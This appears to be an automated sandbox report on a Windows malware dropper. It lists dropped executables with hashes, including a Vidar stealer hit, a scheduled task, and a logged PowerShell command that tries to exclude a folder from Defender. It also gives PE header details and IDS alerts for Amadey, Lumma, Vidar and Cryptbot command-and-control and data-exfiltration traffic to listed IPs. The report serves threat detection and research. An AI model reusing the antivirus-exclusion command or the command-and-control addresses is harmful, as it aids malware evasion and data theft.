File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 70%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.3942165274298146
Encrypted:	false
SSDEEP:	6:t23vXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lDKt0:t23Pf2RKQ1CGAFAjzvYRQVDKt0
MD5:	A683F7E3E48ADF8E60E05037D7CC4A4A
SHA1:	0E96A079721AB351F956331EB54DB233661DD842
SHA-256:	3CF652074A6FF162665B7B77E3BFED1330462C0B0351EEA330687FE788D2E4EA
SHA-512:	0D22E75BA7E95CDEEF04C457DA0F7D84D182F31FE3C7883D9AADC53441FF83AEC5269185218921EC3A7C222BF5ACAD96952D16956E7D8FE7C7F17277AEB046E1
Malicious:	false
Preview:	....3...].zL..!....F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

C:\nmckayer\2d28fff282f940b9a303e100d9504cbd.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1058336
Entropy (8bit):	6.827880169201504
Encrypted:	false
SSDEEP:	12288:qvUGQWpy+Tac0RDffXJjyYpcyoNHSy5viczPESsQ3BaE32VfXJjyYpz:lGQB+2DR7BWYpcyo44u0aPVBWYpz
MD5:	971B0519B1C0461DB6700610E5E9CA8E
SHA1:	9A262218310F976AAF837E54B4842E53E73BE088
SHA-256:	47CF75570C1ECA775B2DD1823233D7C40924D3A8D93E0E78C943219CF391D023
SHA-512:	D234A9C5A1DA8415CD4D2626797197039F2537E98F8F43D155F815A7867876CBC1BF466BE58677C79A9199EA47D146A174998D21EF0AEBC29A4B0443F8857CB9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...w.m..........."...0......(........... ........@.. ....................... ............`.................................K...O....... %.............. r..........p...T............................................ ............... ..H............text........ ...................... ..`.rsrc... %.......&..................@..@.reloc..............................@..B........................H........7................................................................{8.....{9.....{:.....{;.....{<.....{=.....{>.....{?.....{@.....{A.....{B....0..\........(C.....}8.....}9.....}:......};......}<......}=......}>......}?......}@......}A......}B....0...........u.......;.....9....(D....{8....{8...oE...9....(F....{9....{9...oG...9....(H....{:....{:...oI...9....(J....{;....{;...oK...9....(L....{<....{<...oM...9....(N....{=....{=...oO...,w(P....{>....{>...oQ...,_(

C:\nmckayer\3477ac361a61484faa59cc92fe88289c.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	147968
Entropy (8bit):	6.454649285943866
Encrypted:	false
SSDEEP:	3072:lOBRrLUOPed9xOi756fJnhsRSK2C22/m4ESZo3XRYzXIkQfyXzdEpx:A/rLVPW0nsP2Xy+TJfWzW7
MD5:	CC36E2A5A3C64941A79C31CA320E9797
SHA1:	50C8F5DB809CFEC84735C9F4DCD6B55D53DFD9F5
SHA-256:	6FEC179C363190199C1DCDF822BE4D6B1F5C4895EBC7148A8FC9FA9512EEADE8
SHA-512:	FCEA6D62DC047E40182DC4FF1E0522CA935F9AEEFDB1517957977BC5D9AC654285A973261401F3B98ABF1F6ED62638B9E31306FD7AAEB67214CA42DFC2888AF0
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: C:\nmckayer\3477ac361a61484faa59cc92fe88289c.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 83%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....ag.....................`....................@...........................#.............................................(................................p#.........................................\............................................text...x........................... ....rdata...1.......2..................@..@.data....!!..0......................@....00cfg.......`#......*..............@..@.reloc.......p#......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (856)
Category:	downloaded
Size (bytes):	861
Entropy (8bit):	5.173157840127518
Encrypted:	false
SSDEEP:	24:HcQWmKr6IC/AHvBHslgT9lCuABATOhuyluF7HHHHHHHYqmffffffo:gfeIuWKlgZ01BAguouFEqmffffffo
MD5:	7864CA332FEB8C089234BE4477A224BB
SHA1:	082579B48F2AAD089230F18E33681E755249B813
SHA-256:	B4B0C304700EB58810E63F7C13576851233BAC1744201CA498BB4BE96D617682
SHA-512:	4B02DFEA2466685F52680FB974AA7D4C99839EA37BEF39780DCF712833E482F7BE7EEBD653749F30F2FAFC74F80B10ABD9BA3E24C7D2CB6FE8218FD9CA21B742
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["mega millions jackpot lottery numbers","virgin river season 7 netflix","prehistoric tomb","steelers vs ravens injury report","monopoly go greeting journey rewards","hyundai palisade hybrid","eddie aikau big wave invitational","virgin river season 6 episode 2"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggesteventid":3024321385461910646,"google:suggestrelevance":[1254,1253,1252,1251,1250,601,600,550],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132723
Entropy (8bit):	5.436777681084807
Encrypted:	false
SSDEEP:	3072:fykJQ7O4N5dTm+syHEt4W3XdQ4Q6yuSr/nUW2i6o:fbQ7HTt/sHdQ4Q6yDfUW8o
MD5:	97C2661A4FDFDD14C62F584AD470DFB6
SHA1:	9B5D166E3F837AD00973051E8A323FB07AF22FEC
SHA-256:	932B29559FD34357CE7E1E50A265A7AA4FC8D8638486F8B9C75A28C07A6CA8CC
SHA-512:	B7192984860F7F4E86649B77FD23060C7C6CC026FDB384CD599CF79EF9442FB680150DCF9366982F60AA38FA502DF4A4C011837B26612D7339CC2454BA724A32
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe
File Type:	Non-ISO extended-ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2975
Entropy (8bit):	5.241496327196387
Encrypted:	false
SSDEEP:	48:AvVn/bztic1+3OtZ1+3fbzticB+3OtZB+3mMPwvEOnrumf1nGlyFOObMD6kkw:WeJTmhLPwMOnrhn0yoQMOkD
MD5:	5391E41A3D96F6A36B163B94983C020E
SHA1:	ADF81F77FD61E5B4CD441D02C0E23AA23E3E5221
SHA-256:	40672EE96EBA4669D6ED160B7F19B2194033E56E07BCEBB8C888440E4C2FB6A3
SHA-512:	AE56A0DCACC7C13A623EB87AB0833A278D011021FB362E9B67720D5FA38B3EE15730A21B554BCD8DDE0CAB7753E5FBC7B6E2AC2A96B60C9AC6F60C9D1182C760
Malicious:	false
Preview:	Ordner erstellt: C:\nmckayer..Willkommen beim Textanalyseprogramm!..Geben Sie Text f.r die Analyse ein (2 Sekunden Zeit):...Die Zeit ist abgelaufen! Die Eingabe wurde nicht abgeschlossen...Generiere einen zuf.lligen Satz.....Generierter Satz: Tisch Blume Baum Buch..Anzahl der W.rter: 4..Fehler beim Hinzuf.gen des Ausschlusses: Add-MpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: ..ConfigListExtension...At line:1 char:1..+ Add-MpPreference -ExclusionPath C:\nmckayer..+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], .. CimException.. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference.. ..Add-MpPreference : Operation failed with the following error: 0x%1!x!..At line:1 char:1..+ Add-MpPreference -ExclusionPath C:\nmckayer..+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.. + CategoryInfo : NotSpec

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.53036560628138
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'092'992 bytes
MD5:	bce8d1c24aaa492237eef8ab39403025
SHA1:	22080faaa8259eed4723eee0d045890e866b9d8d
SHA256:	a5e65380e98c1f0a3f8552bcd35090f14cfb74973ed39b7b5482d3d42a78e08a
SHA512:	d1bcf783c8440d1186ac765ae524f3d9be91fb09ab2ba3b2a93059111668dcbde8cb0f666617bae33b5d862ec763a19dbaa63da223d8e052f28245e1417145fd
SSDEEP:	49152:59M5PDq9UpDX3WamgOuWAu0OTm7bp9ZQ1Lwp4lyQ9J0K:59KPDUUpLJmgOpAuz2bp9ZewpIyQ3
TLSH:	B6E54A93B585B2CFE08A17788527CD829A6D43B9072448C3E86C657FBEE7CC515BEC24
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x72e000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FD434D8C25Ah
movups xmm5, dqword ptr [edi]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax+eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x5d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x32c168	0x10	xyuqnuvx
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x32c118	0x18	xyuqnuvx
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	b0f33f5b99ff6c8367d48bd05bef2be0	False	0.9981479904632152	data	7.98713662841304	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x5d4	0x400	cf3c452cabf6f190bbb14373b492c16d	False	0.7099609375	data	5.8451568347875495	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xyuqnuvx	0x6b000	0x2c2000	0x2c1800	dbb944781623fb297c4816d99ad5a880	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
imowcfit	0x32d000	0x1000	0x400	92fe3d313cf22526c9d5707475e4ab27	False	0.8427734375	data	6.3991828380004465	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x32e000	0x3000	0x2200	e8a9a009e8d290223fd911b7c1491b65	False	0.06284466911764706	DOS executable (COM)	0.8279382789719324	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x32c178	0x3e4	XML 1.0 document, ASCII text			0.48092369477911645
RT_MANIFEST	0x32c55c	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-21T10:15:05.711921+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49750	185.215.113.43	80	TCP
2024-12-21T10:15:10.404829+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	31.41.244.11	80	TCP
2024-12-21T10:15:14.469283+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49759	TCP
2024-12-21T10:15:15.805020+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49776	185.215.113.43	80	TCP
2024-12-21T10:15:17.262690+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49781	31.41.244.11	80	TCP
2024-12-21T10:15:28.148975+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49806	185.215.113.43	80	TCP
2024-12-21T10:15:29.601847+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49808	31.41.244.11	80	TCP
2024-12-21T10:15:40.145236+0100	2859378	ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2	1	192.168.2.4	49835	94.130.188.57	443	TCP
2024-12-21T10:15:40.589782+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49837	185.215.113.43	80	TCP
2024-12-21T10:15:42.036701+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49844	31.41.244.11	80	TCP
2024-12-21T10:15:44.735999+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	94.130.188.57	443	192.168.2.4	49850	TCP
2024-12-21T10:15:47.018923+0100	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1	1	192.168.2.4	49855	94.130.188.57	443	TCP
2024-12-21T10:15:47.019511+0100	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	94.130.188.57	443	192.168.2.4	49855	TCP
2024-12-21T10:15:48.204333+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49860	185.215.113.43	80	TCP
2024-12-21T10:15:49.654866+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49867	31.41.244.11	80	TCP
2024-12-21T10:15:53.315889+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49878	172.67.180.113	443	TCP
2024-12-21T10:15:53.656266+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49879	185.215.113.43	80	TCP
2024-12-21T10:15:54.480976+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49878	172.67.180.113	443	TCP
2024-12-21T10:15:54.480976+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49878	172.67.180.113	443	TCP
2024-12-21T10:15:55.103382+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49889	31.41.244.11	80	TCP
2024-12-21T10:15:55.627775+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49898	172.67.180.113	443	TCP
2024-12-21T10:16:06.729512+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49932	185.215.113.43	80	TCP
2024-12-21T10:16:08.184495+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49938	31.41.244.11	80	TCP
2024-12-21T10:16:15.325334+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49959	185.215.113.43	80	TCP
2024-12-21T10:16:16.928917+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49966	185.215.113.16	80	TCP
2024-12-21T10:16:18.855981+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49973	185.121.15.192	80	TCP
2024-12-21T10:16:20.722775+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49981	185.121.15.192	80	TCP
2024-12-21T10:16:30.318847+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	50016	185.121.15.192	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 21, 2024 10:14:03.221417904 CET	49675	443	192.168.2.4	173.222.162.32
Dec 21, 2024 10:15:04.259582996 CET	49750	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:04.380053997 CET	80	49750	185.215.113.43	192.168.2.4
Dec 21, 2024 10:15:04.380131960 CET	49750	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:04.384397030 CET	49750	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:04.504652023 CET	80	49750	185.215.113.43	192.168.2.4
Dec 21, 2024 10:15:05.711507082 CET	80	49750	185.215.113.43	192.168.2.4
Dec 21, 2024 10:15:05.711920977 CET	49750	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:07.228262901 CET	49750	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:07.228872061 CET	49759	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:07.349607944 CET	80	49750	185.215.113.43	192.168.2.4
Dec 21, 2024 10:15:07.349628925 CET	80	49759	185.215.113.43	192.168.2.4
Dec 21, 2024 10:15:07.349668026 CET	49750	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:07.349723101 CET	49759	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:07.349890947 CET	49759	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:07.469387054 CET	80	49759	185.215.113.43	192.168.2.4
Dec 21, 2024 10:15:08.628387928 CET	49724	80	192.168.2.4	199.232.214.172
Dec 21, 2024 10:15:08.713617086 CET	80	49759	185.215.113.43	192.168.2.4
Dec 21, 2024 10:15:08.713656902 CET	80	49759	185.215.113.43	192.168.2.4
Dec 21, 2024 10:15:08.713819981 CET	49759	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:08.713819981 CET	49759	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:08.748986959 CET	80	49724	199.232.214.172	192.168.2.4
Dec 21, 2024 10:15:08.749051094 CET	49724	80	192.168.2.4	199.232.214.172
Dec 21, 2024 10:15:08.950789928 CET	80	49759	185.215.113.43	192.168.2.4
Dec 21, 2024 10:15:08.950896978 CET	49759	80	192.168.2.4	185.215.113.43
Dec 21, 2024 10:15:08.954488993 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:09.074997902 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:09.075179100 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:09.075407028 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:09.195034981 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.404720068 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.404777050 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.404829025 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.404829979 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.404844999 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.404881001 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.404915094 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.404918909 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.404937029 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.404954910 CET	80	49765	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:10.404964924 CET	49765	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:10.404990911 CET	80	49765	31.41.244.11	192.168.2.4
